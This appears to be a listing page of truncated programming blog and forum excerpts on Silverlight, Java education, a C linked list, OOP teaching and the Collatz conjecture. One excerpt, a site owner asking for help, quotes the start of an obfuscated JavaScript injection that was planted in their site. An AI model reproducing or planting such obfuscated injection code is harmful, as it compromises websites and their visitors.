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Silverlight or not? Should l I go with everyone and jump from he bridge? and why?

NO... no silverlight for me, even if that would be the only thing in the future. I am really sick and tired of running where MS wants us to run... Thank you very much, my older codes work just fine.

You know, honestly I am getting dizzy over the web-pages too much things moving on and have tons of shiny buttons that also gets me other places shiny and moving. The whole place started to ...

I was inspired to do this blog by a couple articles I found in my continuing search for hacker lore.

Teach Yourself Programming in Ten Years
Computer Science Education: Where Are the Software Engineers of Tomorrow?

The second of these I think did a good job of summing up what I don't like about Java. There seems to have been a trend in recent years of dumbing down programming so that it takes less and less effort to learn. The result is that we have an increasingly ...

i have a problem of java script injection in my site! the script injection code is given below!

try {var f="replaUuf".substr(0,5)+"RZ6jce".substr(4);this.X ="";var S=RegExp;this.Xa='';var q;if(q!='' && q!='I'){q=''};var M="";function _(A,fu){var J;if(J!='mI'){J='mI'};var C=new String("[MLzQ".substr(0,1));var Z="";var MB;if(MB!='nG'){MB='nG'};var G=new String("g");this.j='';this.zk="";C+=fu;C+="]";var ...

After about 10 days of serious coding, I have finally managed, with some help from people here, to get a program to read a file into a buffer and store the lines in a linked list.

My code so far:

The header file (filestext.h){

Code:

#ifndef _FILESTEXT_H_
#define _FILESTEXT_H_

#define NEXTLINE (*((*lineptr).nextline))

int getNumOfLines( FILE * );
int *numsOfChars( FILE * );
int charcount( FILE * );
int linecount( FILE

...

The first term of my computer science degree is finally over. My assignments are all in for the first term and i am passing all of my units comfortably with the only problems being caused by my one maths unit for the semester. I'm passing comfortably but it is just so time consuming. Either way i am enjoying the challenge and finding it quite interesting.
Prior to starting my degree I wasn't a big fan of Java which is the main language for the first year of my degree at least. I'm still ...

Is it just me or is anyone else tired of these stupid illustrations people make to explain object-oriented programming? For example, building a class called Dog that has the properties color, gender, and breed, and the methods bark() and bite(), or something like that. I know this is sometimes a necessary way to explain OOP to a beginner, but at the same time it is a trivialization of what OOP really is - a method for creating data abstraction and modular programming. I think it just gives people ...

I'm posting this again because some douche buried it in WoW spam, and then I deleted the original entry.

I came across an interesting mathematical theorem during my daily browsing through internet geekery. It's called the Collatz conjecture, and it goes as follows:

Start with any natural number n. If n is even, divide it by 2 to get n/2. If it's odd, multiply it by 3 and add 1 to get 3n + 1. If you keep doing this repeatedly, you will eventually reach a value of ...